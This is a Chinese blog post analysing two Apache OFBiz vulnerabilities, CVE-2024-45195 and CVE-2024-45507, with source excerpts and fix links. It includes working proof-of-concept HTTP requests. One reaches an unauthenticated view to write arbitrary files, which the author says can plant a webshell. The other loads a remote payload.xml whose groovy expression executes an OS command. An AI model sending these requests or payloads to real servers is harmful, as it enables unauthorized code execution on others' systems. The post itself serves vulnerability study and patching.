浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507
co_w**** 发表于 湖北 漏洞分析 1738浏览 · 2024-09-09 03:03

浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507

漏洞通告链接:

CVE-2024-45195

这个漏洞和之前的CVE-2024-38856原理是一样的,可以在unauth controller后面跟一个视图来覆盖,之前CVE-2024-38856的修复是直接将ProgramExport加了个权限,CVE-2024-45195是重新找了个screen来写文件,具体的screen对应的groovy文件为ViewDataFile.groovy如下:

import java.util.*
import java.net.*
import org.apache.ofbiz.security.*
import org.apache.ofbiz.base.util.*
import org.apache.ofbiz.datafile.*

uiLabelMap = UtilProperties.getResourceBundleMap("WebtoolsUiLabels", locale)
messages = []

dataFileSave = request.getParameter("DATAFILE_SAVE")

entityXmlFileSave = request.getParameter("ENTITYXML_FILE_SAVE")

dataFileLoc = request.getParameter("DATAFILE_LOCATION")
definitionLoc = request.getParameter("DEFINITION_LOCATION")
definitionName = request.getParameter("DEFINITION_NAME")
dataFileIsUrl = null != request.getParameter("DATAFILE_IS_URL")
definitionIsUrl = null != request.getParameter("DEFINITION_IS_URL")

try {
    dataFileUrl = dataFileIsUrl?new URL(dataFileLoc):UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

try {
    definitionUrl = definitionIsUrl?new URL(definitionLoc):UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
    messages.add(e.getMessage())
}

definitionNames = null
if (definitionUrl) {
    try {
        ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
        if (reader) {
            definitionNames = ((Collection)reader.getDataFileNames()).iterator()
            context.put("definitionNames", definitionNames)
        }
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
    try {
        dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
        context.put("dataFile", dataFile)
    }
    catch (Exception e) {
        messages.add(e.toString()); Debug.log(e)
    }
}

if (dataFile) {
    modelDataFile = dataFile.getModelDataFile()
    context.put("modelDataFile", modelDataFile)
}

if (dataFile && dataFileSave) {
    try {
        dataFile.writeDataFile(dataFileSave)
        messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}

if (dataFile && entityXmlFileSave) {
    try {
        //dataFile.writeDataFile(entityXmlFileSave)
        DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
        messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
    }
    catch (Exception e) {
        messages.add(e.getMessage())
    }
}
context.messages = messages

代码很简单,两次远程url加载文件,然后可随意保存到指定位置写Webshell,复现如下:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: 
Cookie: JSESSIONID=842FA87866E065DFD2FC7B92C84E48B8.jvm1; OFBiz.Visitor=10000
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

DATAFILE_LOCATION=http://127.0.0.1:8081/1.xml&DEFINITION_IS_URL=1&DATAFILE_IS_URL=1&DEFINITION_LOCATION=http://127.0.0.1:8081/2.xml&DATAFILE_SAVE=/tmp/2.txt&DEFINITION_NAME=TaxwareOutHead

2.xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<data-files xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="https://ofbiz.apache.org/dtds/datafiles.xsd">
    <data-file name="TaxwareOutHead" type-code="001" record-length="21" separator-style="fixed-record" start-line="0">
        <record name="outHead">
            <field name="COMPRESSION_INDICATOR" position="1" length="20" type="String"/>
        </record>
    </data-file>
</data-files>

1.xml文件内容:

123456789012345678901

(这里需要注意下2.xml和1.xml对应的record-length和length)上面将23456789012345678901内容写入到/tmp/2.txt文件中。

在最新版的Ofbiz中(18.12.16)版本引入了视图权限校验,具体issue如下:https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f

其实这个修复issus在上个版本,也就是修复CVE-2024-38856的时候提过,不过看样子是官方觉得麻烦,就直接给ProgramExport screen加了权限,包括下面的CVE-2024-45507漏洞,也有一部分利用了这个screen覆盖功能。

CVE-2024-45507

漏洞的修复issue在:https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

允许了远程加载文件来渲染screen,比如如下这个screen:

<screen name="StatsSinceStart">
        <section>
            <actions>
                <set field="titleProperty" value="WebtoolsStatsMainPageTitle"/>
                <set field="tabButtonItem" value="stats"/>
                <script location="component://webtools/groovyScripts/stats/StatsSinceStart.groovy"/>
            </actions>
            <widgets>
                <decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">
                    <decorator-section name="body">
                        <section>
                            <widgets>
                                <container style="page-title">
                                    <label text="${uiLabelMap[titleProperty]}"/>
                                </container>
                                <include-menu name="StatsSinceStart" location="component://webtools/widget/Menus.xml"/>
                                <label>${uiLabelMap.WebtoolsStatsCurrentTime} ${nowTimestamp}</label>
                                <screenlet title="${uiLabelMap.WebtoolsStatsRequestStats}" padded="false">
                                    <include-grid name="ListRequestStats" location="component://webtools/widget/StatsForms.xml"/>
                                </screenlet>
                                <screenlet title="${uiLabelMap.WebtoolsStatsEventStats}" padded="false">
                                    <include-grid name="ListEventStats" location="component://webtools/widget/StatsForms.xml"/>
                                </screenlet>
                                <screenlet title="${uiLabelMap.WebtoolsStatsViewStats}" padded="false">
                                    <include-grid name="ListViewStats" location="component://webtools/widget/StatsForms.xml"/>
                                </screenlet>
                            </widgets>
                        </section>
                    </decorator-section>
                </decorator-screen>
            </widgets>
        </section>
    </screen>

xml文件配置中有一段<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">,这里就是一个二次模板注入的问题,当程序加载到这个xml文件时候,会对上面这一段再次渲染一次,对应的代码如下:

public void renderWidgetString(Appendable writer, Map<String, Object> context, ScreenStringRenderer screenStringRenderer) throws GeneralException, IOException {
            boolean condTrue = true;
            if (this.condition != null) {
                if (!this.condition.eval(context)) {
                    condTrue = false;
                }
            }
            if (condTrue) {
                AbstractModelAction.runSubActions(this.actions, context);

                try {
                    screenStringRenderer.renderSectionBegin(writer, context, this);

                    renderSubWidgetsString(this.subWidgets, writer, context, screenStringRenderer);

其实全局搜索一下系统的<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}类似结构,可以观察到绝大多数都是<decorator-screen name="main-decorator" location="${parameters.mainDecoratorLocation}">,也就是mainDecoratorLocation这个参数,但这个参数利用不了,可以简单看一下context中parameters参数赋值的逻辑:

public static Map<String, Object> getCombinedMap(HttpServletRequest request, Set<? extends String> namesToSkip) {
        Map<String, Object> combinedMap = new HashMap<>();
        combinedMap.putAll(getParameterMap(request));                   // parameters override nothing
        combinedMap.putAll(getServletContextMap(request, namesToSkip)); // bottom level application attributes
        combinedMap.putAll(getSessionMap(request, namesToSkip));        // session overrides application
        combinedMap.putAll(getAttributeMap(request));                   // attributes trump them all

        return combinedMap;
    }

由于mainDecoratorLocationweb.xml中定义了,所以在执行到第二个语句,也就是combinedMap.putAll(getServletContextMap(request, namesToSkip));的时候,会将请求参数中的mainDecoratorLocation给覆盖成默认值,因此不可控。

最后复现如下:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 
Cookie: JSESSIONID=64FB07C6F3A047C4B6760B23070A03C0.jvm1; OFBiz.Visitor=10000
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

statsDecoratorLocation=http://127.0.0.1:8081/payload.xml

payload.xml文件内容为:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen" http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set field="headerItem" value="${groovy:throw new Exception('open -a Calculator'.execute().text);}"/>
                <entity-one entity-name="FinAccount" value-field="finAccount"/>
            </actions>
        </section>
    </screen>

</screens>

0 条评论
某人
表情
可输入 255